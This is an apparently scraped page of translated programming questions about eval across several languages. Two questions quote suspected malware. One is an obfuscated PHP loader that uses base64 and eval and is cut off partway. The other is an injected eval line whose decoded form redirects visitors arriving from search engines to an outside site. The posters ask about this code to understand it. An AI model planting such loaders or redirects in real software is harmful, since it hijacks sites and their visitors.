我正试图从一个href调用javascript函数.该函数有一个参数,将由eval函数检索.但是会发生一些错误.
脚本:
function rate(id) {
// do something
}
Run Code Online (Sandbox Code Playgroud)
一个将调用该函数的标记:
<a href="javascript:rate(" + <%#Eval("ID")%> + ")" >rate</a>
Run Code Online (Sandbox Code Playgroud)
我错过了什么?
如何main在Ruby中了解或评估对象?
$ irb
irb(main):001:0> self
=> main
irb(main):002:0> eval "self"
=> main
irb(main):003:0> eval "main"
NameError: undefined local variable or method `main' for main:Object
from (irb):3:in `eval'
from (irb):3:in `eval'
from (irb):3
from /home/malo/.rvm/rubies/ruby-1.9.3-p448/bin/irb:12:in `<main>'
Run Code Online (Sandbox Code Playgroud)
主要约束在于,可以从类,模块或实例中的任何位置评估代码字外壳。因此,它将是普遍的。
我的问题专门针对Perl,但我希望对大多数语言都有所启发.
使用eval()函数和if()语句之间是否存在实际差异(性能方面和效率方面)?
eval(-e /path/to/file) or die "file doesn't exist";
if (! -e /path/to/file) { die "file doesn't exist"; }
Run Code Online (Sandbox Code Playgroud) 考虑这段代码:
from re import sub
input = request.POST['input']
sub_pattern = {'1':"sub('pattern1','txt1',input)",
'2':"sub('pattern2','txt2',input)",
}
eval(sub_pattern['1'])
Run Code Online (Sandbox Code Playgroud)
这段代码中是否有代码注入?你可以为这段代码注入提供POC吗?
东西是错误的eval功能
$string = '$val = 1526.65 - 1519.99;';
eval($string);
echo $val; => give 6.6600000000001, expected 6.66
Run Code Online (Sandbox Code Playgroud)
测试在这里:http://sandbox.onlinephpfunctions.com/code/fa5b2e7e6602e60cdeb054b705a69e4a226bd52c
有人有解释吗?
有没有办法评估比较运算符作为字符串传递的比较。没有做很多if-else的。铁
def cmp(arg1, op, arg2) : ......
Run Code Online (Sandbox Code Playgroud)
进而 :
cmp(5, "==", 6)
cmp(7, ">", 6)
cmp(12, "<=", 34)
cmp("abc", "==", "bad")
Run Code Online (Sandbox Code Playgroud) 我从http://www.freereviewscript.com下载了免费评论脚本
其中一个文件是编码的,我想确保它没有任何恶意!任何帮助将非常感激!谢谢!!
PHP代码(没有php标签):
$ve08156dfe67="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($ve08156dfe67(
"JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyPSJceDYyIjskbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U
1MGI0NjA3ZTU9Ilx4NjUiOyRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNj0iXHg2NiI7JG9jOGM1N2Y
5YzNmNmFhYmQxYjI2NjkxYjUyOTU4OGEyPSJceDY3IjskYTQxMzcyYzgyODQ3MDgzMDM1ZjVmYTJjZjMxNDY5NTc
9Ilx4NmQiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yz0iXHg2ZiI7JGw5NzQwNDQyMDFlMDMxNjY
1YjU0OWUyNTQ3ZDM1NWUxPSJceDZmIjskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y1Zjg9Ilx4NmYiOyR
6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZT0iXHg2ZiI7JGVkMWI5Y2I4YmM0Y2NmMjk2ZDNkMTM2NGQ
zNGZhNTA4PSJceDczIjskaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWU9Ilx4NzMiOyRwMDE1NDI5MmM
4MGYwYzdiYjc4MWFhYTNkYjhhYzU4ZD0iXHg3MyI7JHJkNjMxZDUwNjczMWQ4ZTkyNDg4NGFkNzAwMzI5NWJhPSJ
ceDczIjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJcMTQxIjskbmY5Y2Y4ZTgyNGRmM2I0OWU
2NjhhM2U1MGI0NjA3ZTUuPSJcMTYyIjskYzgxMzUxNmQ5ZDAxMTJlNzI4MDg2MGY5ZDc5Mjk5YjYuPSJcMTUxIjs
kb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg4YTIuPSJcMTcyIjskYTQxMzcyYzgyODQ3MDgzMDM1ZjVmYTJ
jZjMxNDY5NTcuPSJcMTQ0IjskdTM1ZmFmOGNiNTVhZGRkOTg5ZDBlNGU5NzI1YzZlNWMuPSJcMTQyIjskbDk3NDA
0NDIwMWUwMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJcMTQyIjskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y
1ZjguPSJcMTQyIjskejE3ZGFjODYxMmYyMmJkOTg0OTFiNWQ1ZWQxNDlkZWUuPSJcMTQyIjskZWQxYjljYjhiYzR
jY2YyOTZkM2QxMzY0ZDM0ZmE1MDguPSJcMTY0IjskaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWUuPSJ
cMTY0IjskcDAxNTQyOTJjODBmMGM3YmI3ODFhYWEzZGI4YWM1OGQuPSJcMTY0IjskcmQ2MzFkNTA2NzMxZDhlOTI
0ODg0YWQ3MDAzMjk1YmEuPSJcMTY0IjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJceDczIjs
kbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U1MGI0NjA3ZTUuPSJceDY1IjskYzgxMzUxNmQ5ZDAxMTJlNzI4MDg2MGY
5ZDc5Mjk5YjYuPSJceDZjIjskb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg4YTIuPSJceDY5IjskYTQxMzc
yYzgyODQ3MDgzMDM1ZjVmYTJjZjMxNDY5NTcuPSJceDM1IjskdTM1ZmFmOGNiNTVhZGRkOTg5ZDBlNGU5NzI1YzZ
lNWMuPSJceDVmIjskbDk3NDA0NDIwMWUwMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJceDVmIjskc2Q3MDdhNDY5MWM
2YWZlMmU2M2E0Y2M3YmE1N2Y1ZjguPSJceDVmIjskejE3ZGFjODYxMmYyMmJkOTg0OTFiNWQ1ZWQxNDlkZWUuPSJ
ceDVmIjskZWQxYjljYjhiYzRjY2YyOTZkM2QxMzY0ZDM0ZmE1MDguPSJceDcyIjskaDZhMjE5ODI0Mjg2NDI2NTV
kMDk3ODhmZGI1ZDY4NWUuPSJceDcyIjskcDAxNTQyOTJjODBmMGM3YmI3ODFhYWEzZGI4YWM1OGQuPSJceDcyIjs
kcmQ2MzFkNTA2NzMxZDhlOTI0ODg0YWQ3MDAzMjk1YmEuPSJceDcyIjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE
4Y2YxMDBkMjIuPSJcMTQ1IjskbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U1MGI0NjA3ZTUuPSJcMTQ3IjskYzgxMzU
xNmQ5ZDAxMTJlNzI4MDg2MGY5ZDc5Mjk5YjYuPSJcMTQ1Ijskb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg
4YTIuPSJcMTU2IjskdTM1ZmFmOGNiNTVhZGRkOTg5ZDBlNGU5NzI1YzZlNWMuPSJcMTQ1IjskbDk3NDA0NDIwMWU
wMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJcMTQ1Ijskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y1ZjguPSJ
cMTQ3IjskejE3ZGFjODYxMmYyMmJkOTg0OTFiNWQ1ZWQxNDlkZWUuPSJcMTYzIjskZWQxYjljYjhiYzRjY2YyOTZ
kM2QxMzY0ZDM0ZmE1MDguPSJcMTM3IjskaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWUuPSJcMTM3Ijs
kcDAxNTQyOTJjODBmMGM3YmI3ODFhYWEzZGI4YWM1OGQuPSJcMTYwIjskcmQ2MzFkNTA2NzMxZDhlOTI0ODg0YWQ
3MDAzMjk1YmEuPSJcMTY0IjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJceDM2IjskbmY5Y2Y
4ZTgyNGRmM2I0OWU2NjhhM2U1MGI0NjA3ZTUuPSJceDVmIjskYzgxMzUxNmQ5ZDAxMTJlNzI4MDg2MGY5ZDc5Mjk
5YjYuPSJceDVmIjskb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg4YTIuPSJceDY2IjskdTM1ZmFmOGNiNTV
hZGRkOTg5ZDBlNGU5NzI1YzZlNWMuPSJceDZlIjskbDk3NDA0NDIwMWUwMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJ
ceDZlIjskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y1ZjguPSJceDY1IjskejE3ZGFjODYxMmYyMmJkOTg
0OTFiNWQ1ZWQxNDlkZWUuPSJceDc0IjskZWQxYjljYjhiYzRjY2YyOTZkM2QxMzY0ZDM0ZmE1MDguPSJceDcyIjs
kaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWUuPSJceDcyIjskcDAxNTQyOTJjODBmMGM3YmI3ODFhYWE
zZGI4YWM1OGQuPSJceDZmIjskcmQ2MzFkNTA2NzMxZDhlOTI0ODg0YWQ3MDAzMjk1YmEuPSJceDZmIjskbjFiMTM
wYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJcNjQiOyRuZjljZjhlODI0ZGYzYjQ5ZTY2OGEzZTUwYjQ2MDd
lNS49IlwxNjIiOyRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNi49IlwxNDciOyRvYzhjNTdmOWMzZjZ
hYWJkMWIyNjY5MWI1Mjk1ODhhMi49IlwxNTQiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yy49Ilw
xNDQiOyRsOTc0MDQ0MjAxZTAzMTY2NWI1NDllMjU0N2QzNTVlMS49IlwxNDQiOyRzZDcwN2E0NjkxYzZhZmUyZTY
zYTRjYzdiYTU3ZjVmOC49IlwxNjQiOyR6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZS49IlwxNDEiOyR
lZDFiOWNiOGJjNGNjZjI5NmQzZDEzNjRkMzRmYTUwOC49IlwxNDUiOyRoNmEyMTk4MjQyODY0MjY1NWQwOTc4OGZ
kYjVkNjg1ZS49IlwxNTciOyRwMDE1NDI5MmM4MGYwYzdiYjc4MWFhYTNkYjhhYzU4ZC49IlwxNjMiOyRyZDYzMWQ
1MDY3MzFkOGU5MjQ4ODRhZDcwMDMyOTViYS49IlwxNTMiOyRuMWIxMzBiNDBmZTQ2MmVhMWFlZmFlYThjZjEwMGQ
yMi49Ilx4NWYiOyRuZjljZjhlODI0ZGYzYjQ5ZTY2OGEzZTUwYjQ2MDdlNS49Ilx4NjUiOyRjODEzNTE2ZDlkMDE
xMmU3MjgwODYwZjlkNzkyOTliNi49Ilx4NjUiOyRvYzhjNTdmOWMzZjZhYWJkMWIyNjY5MWI1Mjk1ODhhMi49Ilx
4NjEiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yy49Ilx4NWYiOyRsOTc0MDQ0MjAxZTAzMTY2NWI
1NDllMjU0N2QzNTVlMS49Ilx4NWYiOyRzZDcwN2E0NjkxYzZhZmUyZTYzYTRjYzdiYTU3ZjVmOC49Ilx4NWYiOyR
6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZS49Ilx4NzIiOyRlZDFiOWNiOGJjNGNjZjI5NmQzZDEzNjR
kMzRmYTUwOC49Ilx4NzAiOyRoNmEyMTk4MjQyODY0MjY1NWQwOTc4OGZkYjVkNjg1ZS49Ilx4NzQiOyRuMWIxMzB
iNDBmZTQ2MmVhMWFlZmFlYThjZjEwMGQyMi49IlwxNDQiOyRuZjljZjhlODI0ZGYzYjQ5ZTY2OGEzZTUwYjQ2MDd
lNS49IlwxNjAiOyRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNi49IlwxNjQiOyRvYzhjNTdmOWMzZjZ
hYWJkMWIyNjY5MWI1Mjk1ODhhMi49IlwxNjQiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yy49Ilw
xNDMiOyRsOTc0MDQ0MjAxZTAzMTY2NWI1NDllMjU0N2QzNTVlMS49IlwxNDYiOyRzZDcwN2E0NjkxYzZhZmUyZTY
zYTRjYzdiYTU3ZjVmOC49IlwxNDMiOyR6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZS49IlwxNjQiOyR
lZDFiOWNiOGJjNGNjZjI5NmQzZDEzNjRkMzRmYTUwOC49IlwxNTQiOyRoNmEyMTk4MjQyODY0MjY1NWQwOTc4OGZ
kYjVkNjg1ZS49Ilw2MSI7JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyLj0iXHg2NSI7JG5mOWNmOGU
4MjRkZjNiNDllNjY4YTNlNTBiNDYwN2U1Lj0iXHg2YyI7JGM4MTM1MTZkOWQwMTEyZTcyODA4NjBmOWQ3OTI5OWI
2Lj0iXHg1ZiI7JG9jOGM1N2Y5YzNmNmFhYmQxYjI2NjkxYjUyOTU4OGEyLj0iXHg2NSI7JHUzNWZhZjhjYjU1YWR
kZDk4OWQwZTRlOTcyNWM2ZTVjLj0iXHg2YyI7JGw5NzQwNDQyMDFlMDMxNjY1YjU0OWUyNTQ3ZDM1NWUxLj0iXHg
2YyI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2JhNTdmNWY4Lj0iXHg2ZiI7JGVkMWI5Y2I4YmM0Y2NmMjk2ZDN
kMTM2NGQzNGZhNTA4Lj0iXHg2MSI7JGg2YTIxOTgyNDI4NjQyNjU1ZDA5Nzg4ZmRiNWQ2ODVlLj0iXHgzMyI7JG4
xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyLj0iXDE0MyI7JG5mOWNmOGU4MjRkZjNiNDllNjY4YTNlNTB
iNDYwN2U1Lj0iXDE0MSI7JGM4MTM1MTZkOWQwMTEyZTcyODA4NjBmOWQ3OTI5OWI2Lj0iXDE0MyI7JHUzNWZhZjh
jYjU1YWRkZDk4OWQwZTRlOTcyNWM2ZTVjLj0iXDE0NSI7JGw5NzQwNDQyMDFlMDMxNjY1YjU0OWUyNTQ3ZDM1NWU
xLj0iXDE2NSI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2JhNTdmNWY4Lj0iXDE1NiI7JGVkMWI5Y2I4YmM0Y2N
mMjk2ZDNkMTM2NGQzNGZhNTA4Lj0iXDE0MyI7JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyLj0iXHg
2ZiI7JG5mOWNmOGU4MjRkZjNiNDllNjY4YTNlNTBiNDYwN2U1Lj0iXHg2MyI7JGM4MTM1MTZkOWQwMTEyZTcyODA
4NjBmOWQ3OTI5OWI2Lj0iXHg2ZiI7JHUzNWZhZjhjYjU1YWRkZDk4OWQwZTRlOTcyNWM2ZTVjLj0iXHg2MSI7JGw
5NzQwNDQyMDFlMDMxNjY1YjU0OWUyNTQ3ZDM1NWUxLj0iXHg3MyI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2J …Run Code Online (Sandbox Code Playgroud) 我试图弄清楚 eval() 在 AngularJS 中是如何工作的,但我似乎无法理解它。
我有以下内容:
$scope.salaryRate, $scope.priceRate = {
number: undefined,
type: undefined,
from: undefined,
to: undefined,
rate: undefined
}
$scope.addRate = function (variable) {
eval('$scope.' + variable).push({
'number': eval('$scope.' + variable + 'Rate').number,
'type': eval('$scope.' + variable + 'Rate').type,
'days': {
'days': eval('$scope.' + variable + 'SelectedDay'),
'daynames': displayDayNames($scope.dayNames, eval('$scope.' + variable + 'SelectedDay'))},
'from': eval('$scope.' + variable + 'Rate').from,
'to': eval('$scope.' + variable + 'Rate').to,
'rate': eval('$scope.' + variable + 'Rate').rate,
'id': eval(variable + 'Number')
});
eval('$scope.' …Run Code Online (Sandbox Code Playgroud) 我有一个循环,它一直运行直到用户按下 Ctrl+C。
然后要求用户输入 y/n。
如果用户按下'y',那么我就按下eval('continue')。
如果用户按下'n',那么我就按下eval('break')。
while True:
try:
...
except KeyboardInterrupt:
...
options = {'y':'continue','n':'break'}
while True:
decision = raw_input('continue (y/n)?')
if decision in options:
break
eval(options[decision])
Run Code Online (Sandbox Code Playgroud)
当我按下 时'y',我得到:
continue
^
SyntaxError: unexpected EOF while parsing
Run Code Online (Sandbox Code Playgroud)
当我按下 时'n',我得到:
break
^
SyntaxError: unexpected EOF while parsing
Run Code Online (Sandbox Code Playgroud)
有人可以解释一下我在这里缺少什么吗?
我正在使用的后端页面似乎注入了行 - eval(base64_decode("CgplcnJvcl9yZXBvcnRpbmcoMCk7C ...
并且base64字符串解码为
error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
if (stristr($referer,"aol.com")
or stristr($referer,"yahoo")
or stristr($referer,"google")
or stristr($referer,"bing")
or stristr($referer,"ask.com")
or stristr($referer,"msn")
or stristr($referer,"live")
or stristr($referer,"facebook")
) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")) {
header("Location: http://lovemypants.co.cc/");
exit();
}
}
}
Run Code Online (Sandbox Code Playgroud)
很抱歉没问题.在撰写这个问题的时候,我对编程和SO都是一个菜鸟,想知道这段代码的含义以及它的影响是什么.
eval ×12
javascript ×4
php ×3
python ×3
decode ×2
angularjs ×1
asp.net ×1
base64 ×1
comparison ×1
decoder ×1
href ×1
if-statement ×1
obfuscation ×1
performance ×1
perl ×1
python-2.7 ×1
ruby ×1